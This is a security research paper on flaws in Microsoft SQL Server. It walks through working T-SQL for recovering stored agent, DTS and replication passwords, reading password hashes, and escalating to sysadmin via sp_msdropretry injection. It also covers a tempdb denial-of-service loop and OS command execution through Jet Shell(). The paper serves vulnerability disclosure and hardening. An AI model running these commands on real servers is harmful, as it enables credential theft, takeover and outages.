APPLICATION SECURITY, INC.

Hunting Flaws in SQL Server

Author:
Cesar Cerrudo (sqlsec@yahoo.com)

APPLICATION SECURITY, INC.
WEB: WWW.APPSECINC.COM
E-MAIL: INFO@APPSECINC.COM
TEL: 1-866-9APPSEC • 1-212-420-9270

INTRODUCTION

This paper will discuss a number of recently discovered vulnerabilities in Microsoft SQL Server and will demonstrate the techniques used by the author to find these security holes.

COLLECTING PASSWORDS

When SQL Server is running using mixed-mode authentication, login passwords are saved in various locations. Some passwords are saved using strong encryption and permissions (such as the passwords saved in master.dbo.sysxlogins), but many of them are saved using weak encryption (most accurately referred to as encoding) and weak default permissions. You may be asking, “Why passwords are saved with weak encryption?” The reason is that these passwords must later be extracted and used by SQL Server to establish connections with itself and other SQL Servers. This occurs during many of the batch processes that SQL Server relies on, including replication, jobs scheduled through the SQL Agent, and DTS packages.

Using various techniques, such as examine system tables and stored procedures or running tools such as SQL Profiler, we can determine where and how these passwords are saved. Typically system tables that hold these passwords are properly secure, that is only if dbo has permissions to select from the table. There are, however, system stored procedures that access these tables - so looking at these stored procedures is a good place to start.

SQL AGENT PASSWORD

We start by looking at the SQL Agent configuration from within SQL Enterprise Manager. Select the node <SQLServerName>\Management\SQL Server Agent. Then click the right mouse button and select Properties from the popup menu. Within the “Connection” tab you will see that the SQL Server Agent can be configured to connect using standard SQL Server authentication with a login in the sysadmin role. This information must be saved some place in order for SQL Agent to later access the password and connect to the SQL Server, so we start a new trace in SQL Profiler to see what happens behind the scenes. Set the login to “sa” and set the password to “a”. We can see the difference between the two SQL statements in SQL Profiler.

```
EXECUTE msdb.dbo.sp_set_SQLagent_properties
       @host_login_name = 'sa’,
       @host_login_password =
             0x6e1c7e83d0a487d623fc7cd689b8e702cc416bcd8d18c28ee0a4ba37c97ccfb5
```

Performing the same action but setting a password of “aaaaaaaaaa”, we execute the following statement.

```
EXECUTE msdb.dbo.sp_set_SQLagent_properties
       @host_login_name = 'sa’,
       @host_login_password =
             0x6e1c1f1b809cb8a1a1acd3c2cb1cce7e0a099592a03ab7979f196de0b6898deb
```

We can see that the encrypted password is passed to the stored procedure sp_set_SQLagent_properties. In the stored procedure we see:

```
EXECUTE master.dbo.xp_SQLagent_param 1, N'HostPassword', @host_login_password
```

The encrypted password is finally saved by the extended stored procedure xp_SQLagent_param - but where is it saved? We must assume that it is not saved in a system table because the password is used to connect to SQL Server so the Agent would need to access the password before connecting to the database. Given that it is not saved in a table then it is probably saved in the registry. We can run Regmon.exe (Registry Monitor tool from http://www.sysinternals.com/ntw2k/utilities.shtml) and see where it's saved. We will find that it is saved under the LSA Secrets key:

```
HKLM\security\policy\secrets\SQLSERVERAGENT_HostPassword\currval
```

Only the Windows LocalSystem account has permissions to access this registry key. Even Windows Administrators cannot access this area, although they can take ownership and give themselves permissions to these keys. Now we know how and where the encoded password is saved, but how is it retrieved when Enterprise Manager displays the SQL Agent properties? Well, we select SQL Server Agent properties in Enterprise Manager again and then record the SQL sent through SQL Profiler. We see this statement:

```
EXECUTE msdb.dbo.sp_get_SQLagent_properties
```

We start SQL Query Analyzer, execute the query, and see that most of the properties of the SQL Server Agent are returned - even the encrypted password! But which users can execute sp_get_SQLagent_properties. To determine this we execute the following statement.

```
EXECUTE sp_helprotect sp_get_SQLagent_properties
```

The results are as follows:

```
Owner  Object                      Grantee Grantor ProtectType Action  Column
dbo    sp_get_SQLagent_properties  public  dbo     Grant       Execute .
```

Cool! We have discovered a security hole that can be used by any user in the database! We have the encrypted password – now we must figure out how to decrypt it. We go back and look at the passwords:

The encrypted version of the password (a) is:
0x6e1c7e83d0a487d623fc7cd689b8e702cc416bcd8d18c28ee0a4ba37c97ccfb5

The encrypted version of the password (aaaaaaaaaa) is:
0x6e1c1f1b809cb8a1a1acd3c2cb1cce7e0a099592a03ab7979f196de0b6898deb

Upon first analysis, we can see that the first two bytes are the same in both encrypted passwords. Upon further analysis we realize that the encryption algorithm used is a simple XOR with a positional key depending on the previous character. We can do a chosen plain-text attack knowing that the first character is always XOR'ed with a fixed key. Why not look for the function used by Enterprise Manager to encrypt the password. *(Special thanks to Jimmers for discovering and sharing the following)* After some research, we find that SEMCOMN.DLL (located in SQL Server Instance Binn folder) has a Decrypt() function that can be used to decrypt the password. So we can code a simple program and use the Decrypt() function to get the clear text password.

Ok, now we have the password for a login that has been granted the sysadmin role. The server belongs to us at this point! It is important to note that if we are successful in the previous attack, we can now get system or administrator privileges over the OS with additional attacks. This is because if the SQL Server Agent is configured to connect to SQL Server using SQL Server authentication, the SQL Server Agent must run under the LocalSystem account or an Administrator account in order to have permissions to successful retrieve the encrypted password from the registry.

DTS PACKAGE PASSWORDS

Now we are going to look at another source of passwords - DTS packages (remember to use the SQL Profiler). Select the following node from Enterprise Manager: <SQLServerName>\Data Transformation Services. Then right click and select New Package from the popup menu. Create a data transformation package and then save it. In the Save dialog we can choose a location to which to save the package (Meta Data Services – SQL Server – Visual Basic File – Structured Storage File). If we choose Visual Basic File or Structured Storage File, the DTS package will be saved in an operating system file. We will focus on SQL Server options first and then on Meta Data Services option next.

After we select the location to save the package, we see in SQL Profiler that msdb.dbo.sp_add_dtspackage is used to save the data (including the connection passwords) in msdb.dbo.sysdtspackages system table. This table cannot be queried by users in the public group. To circumvent this problem, we find several stored procedures that can be executed by the group public - msdb.dbo.sp_enum_dtspackages and msdb.dbo.sp_get_dtspackage. The DTS package data is saved in an encrypted or encoded format in an image field named “packagedata”. To decode this data, we have to now do some research.

A quick hack would be to retrieve the package data, insert it to our own SQL Server into the sysdtspackages table, and then open the package and extract the connection passwords from memory or from sniffing the wire by running the package. This should give us enough to determine this password. If the DTS package is password protected it can still be brute-forced. It may take some time depending on the password strength, but given enough time, it will be cracked, the package opened, and the connection password retrieved.

Now we create a new DTS package and we choose to save the DTS package in Meta Data Services. Looking at the SQL Profiler we can see that the DTS data is saved in many tables. Doing some analysis we find that the most important data (the connection password) is saved in the table msdb.dbo.rtbldmbprops in the field col11120. Another password uncovered!

REPLICATION PASSWORDS

Let’s also look at replication for additional passwords. Having already done this several times, we expect this time it will go quicker. We test replication and we use the Registry Monitor because we would like to know which registry keys are read from or written to. We create a subscription to a merge publication by selecting the “On Demand Only” option in the “Set Merge Agent Schedule” screen. After finishing, we look at Registry Monitor and see that the SQLServr.exe process has written the following new registry key:

```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL
Server\80\Replication\Subscriptions
```

We run regedit.exe and see the new key created is composed as:

```
Publisher(ServerName):PublisherDb(DatabaseName):Publication(PublicationName):Su
bscriber(ServerName):SuscriberDb(DatabaseName)
```

We look at the values under the key and find this value:

```
SubscriberEncryptedPasswordBinary
```

This value is the encrypted password used to connect to the Publisher server. Then we realized that the value could be decrypted using the following SQL:

```
declare @password nvarchar(524)
set @password=encryptedpassword
exec master.dbo.xp_repl_help_connect @password OUTPUT
select @password
```

Once again, we have the password in clear text.

We can also get the encrypted password using TSQL:

```
exec master.dbo.xp_regread
       'HKEY_LOCAL_MACHINE',
       'SOFTWARE\Microsoft\Microsoft SQL Server\80\Replication\Subscriptions\
       Publisher(ServerName):PublisherDb(DatabaseName):Publication(PublicationNa
       me):Suscriber(ServerName):SuscriberDb(DatabaseName)',
       'SubscriberEncryptedPasswordBinary'
```

We also note that read permissions on the registry key have been granted to the Windows group 'Everyone', so any operating system user can get the value from the registry.

After further investigations we find that this particular situation (the password saved in registry) only occurs when the server is registered in Enterprise Manager and configured to authenticate using SQL Server authentication. Also login passwords are saved in the registry, if you set Windows Synchronization Manger to use SQL authentication when synchronizing subscriptions.

ELEVATING PRIVILEGES

If we find a password for a login that has been granted the sysadmin role, the game is over. If we find that the account we have hacked has a lower level of privileges on the system, we must find a way to elevate our privileges to sysadmin. One way to elevate privileges could be using Trojan horse programs. So now you wonder, "Where and how can Trojans exist in SQL Server?"

GLOBAL TEMPORARY STORED PROCEDURES

One way is for a member of the db_ddladmin database role to alter objects they do not own. It's straightforward for a login granted the db_ddladmin role to alter a dbo stored procedure inserting Trojan code using the following command:

```
alter proc dbo.gettables as
...previous statements here
sp_addrolemember 'db_owner', 'ddladminuser'
```

Then when a login granted the db_owner (or higher) role executes the stored procedure, the db_ddladmin user is granted the db_owner role.

With this in mind, we wonder what stored procedures can be altered by any user. The first idea that comes to mind is whether there is an issue with global temporary stored procedures (GTSP). GTSP can be created by any user and can be used by all user sessions. But what about altering a GTSP created by another user? To test this idea we try creating a GTSP using a login granted the sysadmin role.

```
create proc ##test as select 1
```

Then we try to alter it using a login not granted sysadmin.

```
alter proc ##test as
```

```
EXEC sp_addsrvrolemember 'user', 'sysadmin'
select 1
```

And guess what - it works!! Any user can alter anyone's GTSP. Is this a vulnerability? This is actually by design according to Microsoft. What we believe this means is that anyone using GTSPs are inherently insecure.

DATABASE OWNERSHIP PERMISSION CHAIN

We know that a table cannot be accessed by a user if he or she does not have the appropriate permissions. But it can be accessed using stored procedures or views created by the owner of the table if the user has permissions on the stored procedure or view. This happens when we use system stored procedures or views. An unprivileged user cannot access sysxlogins system table, but he can access the syslogins view, except for the password field. Keeping that in mind, what happens if we are db_owner of any database and we create a stored procedure or view that queries the sysxlogins system table:

```
create proc dbo.test as select * from master.dbo.sysxlogins
or
create view dbo.test as select * from master.dbo.sysxlogins

then

exec test
or
select * from test
```

Again guess what - it works!!!

But, why does this works? This works because the 'sa' login is the database owner and 'sa' is mapped to the dbo user in the current database. We are also a db_owner user and we can use the dbo prefix when creating a stored procedure or view. When we run the query SQL Server looks at the owner of the stored procedure or view (the dbo user). It also checks the owner of the sysxlogins system table and because dbo (which maps to the 'sa' login) is the owner of both objects, SQL Server allows us to select from sysxlogins. SQL Server has failed to check that the database is not the same.

Note that a user granted the db_ddladmin role could do the same by altering a stored procedure or view owned by the dbo and then, if it has permissions on the altered object, execute the stored procedure or query the view. This works as well for user defined functions and triggers. For this to occur, the 'sa' login must be the database owner. If the dbo is not already mapped to the 'sa' login, we can change the database owner being the current database owner. However doing so will remove ourselves from the dbo, so we have to find a way to get dbo back again.

```
--make guest user member of db_owner role
exec sp_addrolemember 'db_owner','guest'

--change the database owner to 'sa' , this will make 'sa' database owner.
exec sp_changedbowner 'sa'

--create a dbo stored procedure to have select permissions on sysxlogins
exec sp_executeSQL
      N'create proc dbo.test as select * from master.dbo.sysxlogins'

--get the results
exec dbo.test

--put the things back like before the hack
```

```
exec sp_changedbowner 'ourlogingoeshere'
exec sp_droprolemember 'db_owner','guest'
```

We now have the passwords hashes and can perform offline brute-forcing.

Now that we are aware of the previous vulnerability, we consider the option of just creating a stored procedure that grants our login the sysadmin fixed-server role. One problem is that many of the system stored procedures that write to system tables check for role membership with the functions *is_member()* and *is_srvrolemember()*. We cannot bypass these checks, so this known vulnerability will not work. What if we attempt to access sysxlogins using a view?

```
create view dbo.test as select * from master.dbo.sysxlogins
```

Using the dbo.test view, we have full access to the sysxlogins system table. However we cannot write to the system tables. Once again, we look for a stored procedure that may help up do this work. We remember an issue discovered by Chris Anley with the stored procedure *master.dbo.sp_msdropretry*. This procedure is vulnerable to SQL injection and because it was created during installation can write to system tables.

```
--create a view to have write permissions
exec sp_executeSQL
       N’create view dbo.test as select * from master.dbo.sysxlogins’

--set the xstatus field to 18 (sysadmin) to our login
exec sp_msdropretry
       ‘anything update dbo.test set xstatus=18 where name= SUSER_SNAME()’,
       ‘anything’

--put the things back like before the hack
exec sp_executeSQL N’drop view dbo.test’
```

Our login now has been granted the sysadmin role!!!

We know that we can write to system tables. What else we could do?

Let’s think about how SQL Server identifies logins. SQL Server uses a SID (security identification number) to identify a login in the server and in a database. SIDs are saved in the sysxlogins table in master database and in the sysusers table in each database. What could we do if we could write directly to the sysusers table and change the SID of our login to a SID of (0x01) which maps to the ‘sa’ login. Let’s try. If we are granted the *db_owner* role, we can execute the following command.

```
--create a view to have write permissions
exec sp_executeSQL
       N’create view dbo.test as select * from master.dbo.sysxlogins’

--set the sid to 0x01 (sa login sid)
exec sp_msdropretry
       ‘anything update sysusers set sid=0x01 where name= ‘’dbo’’’,
       ‘anything’

--set the xstatus field to 18 (sysadmin) to our login
exec sp_msdropretry
       ‘anything update dbo.test set xstatus=18 where name= SUSER_SNAME()’,
       ‘anything’

--put the things back like before the hack
exec sp_executeSQL N’drop view dbo.test’
exec sp_msdropretry
       ‘anything update sysusers set sid=SUSER_SID() where name=’’dbo’’’,
       ‘anything’
```

```
--if we are not database owner, in the previous statement we should use
--SUSER_SID('DatabaseOwnerLogin')
```

It works!!! Now we are granted the sysadmin role and doing so was more straight forward then previous techniques. Also this works even if the 'sa' login or our login isn't the database owner. We can confirm that any use granted the db_owner role can become sysadmin. Cool - isn't it?

Why does this works? Because we tricked SQL Server into believing that we were the 'sa' login by changing the SID in the current database. This allows us to update the sysxlogins table. This attack also can be done by users granted the db_securityadmin, db_datawriter and db_ddladmin roles with a little additional work because a user granted the db_securityadmin role can grant itself write permissions on any table, a user granted the db_datawriter role has write permissions on all tables and a user granted the db_ddladmin role can alter objects that it does not own.

CAUSING A DENIAL OF SERVICE

Let's suppose that the server is tightly-locked down and we cannot do anything as an unprivileged user. If we are evil enough, we can resort to simply crashing the server. Remember that all users can create temporary stored procedures and tables. So we are authorized to execute the following statements.

```
create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp')
```

This will create a temporary table and will run an endless loop inserting values into the table. Temporary tables are created in the tempdb system database and, after some time, the tempdb database will grow until it consumes all system resources and causes the SQL Server instance to fail or crash.

Owning the system

After owning SQL Server, the next step is to take control of the operating system. This can be accomplished by executing commands or exploiting buffer overflows in extended stored procedures. To exploit buffer overflows, we first must find one. Let's take a look at xp_makewebtask. Looking at SQL Server Books Online we find nothing, but we find sp_makewebtask which is very similar because sp_makewebtask calls xp_makewebtask with the supplied parameters. We take the examples and try to overflow xp_makewebtask submitting overly long strings to each argument. After some trial, we find the following.

```
USE pubs

GO

EXECUTE sp_makewebtask
        @outputfile = 'C:\WEB\BLOBSMP.HTM',
        @query = 'SELECT pr_info, pub_name, city, state, country, logo,
                pub_info.pub_id FROM pub_info, publishers
                WHERE pub_info.pub_id = publishers.pub_id',
        @webpagetitle = 'Publishers Home Page',
        @resultstitle = 'Premier Publishers and Their Home Page Links',
        @whentype = 9,
        @blobfmt='%1% FILE=C:\XXXXXXXXXXXXXXXXX...  TPLT=C:\WEB\BLOBSMP.TPL %6%
FILE=C:\WEB\PUBLOGO.GIF', @rowcnt = 2

GO
```

```
USE pubs

GO

EXECUTE sp_makewebtask
        @outputfile = 'C:\WEB\BLOBSMP.HTM',
        @query = 'SELECT pr_info, pub_name, city, state, country, logo,
                 pub_info.pub_id
                 FROM pub_info, publishers
                 WHERE pub_info.pub_id = publishers.pub_id',
        @webpagetitle = 'Publishers Home Page',
        @resultstitle = 'Premier Publishers and Their Home Page Links',
        @whentype = 9,
        @blobfmt='%1% FILE=C:\WEB\BLOBSMP.HTM TPLT=C:\XXXXXXXXXXXXXXXXXXXX...
%6% FILE=C:\WEB\PUBLOGO.GIF',
        @rowcnt = 2

GO
```

Submitting an overly long string in the FILE or TPLT parameters cause an access violation to occur. We can exploit this to run operating system commands.

Exploiting Openrowset

Trying to find another way to execute operating system commands, we try another known vulnerability.

```
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',
'C:\database.mdb';'ADMIN';'', 'select *, Shell(''notepad'') from customers' )
```

This doesn't work because the Jet sandbox blocks access to the Shell() function when it isn't executed from Microsoft Access. Let's try an older Jet OLEDB provider.

```
SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.3.51',
'C:\database.mdb';'ADMIN';'', 'select *, Shell(''notepad'') from customers' )
--database.mdb must be an MS Access 97 database
```

It works!!! This is because the Jet sandbox only blocks Jet 4.0 and we use an older version of Jet (3.51) that isn't blocked. All commands that we execute on the OS will be executed using the Windows account name under which the SQL Server service runs. It would be useful to know which account the SQL Server service runs as. We remember an error message we received in the past, we execute the following statement.

```
select * from openrowset('SQLoledb','';;,'')
```

We receive the following error message.

```
Server: Msg 18456, Level 14, State 1, Line 1
Login failed for user 'Administrator'.
```

This error message displays the Windows account under which the SQL Server service runs. This information is useful for running specific exploits.

RECOMMENDATIONS

- ❑ *Keep SQL Server up to date with security fixes.*
- ❑ *Use Integrated Authentication.*
- ❑ *Disallow Cross-Database ownership chaining.*
- ❑ *Run SQL Server under a low privileged account.*
- ❑ *Set SQL Server Agent Alerts on critical issues.*
- ❑ *Run periodicals checks on all system and non system objects (tables, views, stored procedures, extended stored procedures) permissions.*
- ❑ *Run periodicals checks on users permissions.*
- ❑ *Audit as much as you can.*
- ❑ *Etc., and pray ;).*

CONCLUSIONS

As you can see, there is no magic here. What we have here is a little investigative research and some black box testing. It is difficult to comprehend how these security vulnerabilities have been around so long.

In the meantime, independent researchers continue to work for the benefit of vendors such as Microsoft. These independents are finding holes and help fix them. We question whether this should not be done by the vendors themselves. For now, we continue to help Microsoft secure SQL Server for free!

Resources:

Manipulating Microsoft SQL Server using SQL Injection
http://www.appsecinc.com/presentations/Manipulating_SQL_Server_Using_SQL_Injection.pdf

Microsoft SQL Server Books Online

Program to decrypt SQL Server Agent connection passwords
http://jimmers.narod.ru/agent_pwd.c

Registry Monitor tool (Regmon.exe)
www.sysinternals.com

ABOUT APPLICATION SECURITY, INC. (APPSECINC)

AppSecInc is the pioneer in designing, developing, and managing application security solutions for the enterprise. AppSecInc products proactively secure enterprise applications by discovering, assessing, and protecting the database against rapidly changing security threats. We give organizations the confidence to extend business with customers, partners and suppliers across networks and the Internet. Our security experts, combined with our strong support team, deliver the most up-to-date application safeguards to minimize risk and eliminate impact on business. Please contact us at 1-866-927-7732 to learn more, or visit us on the web at www.appsecinc.com.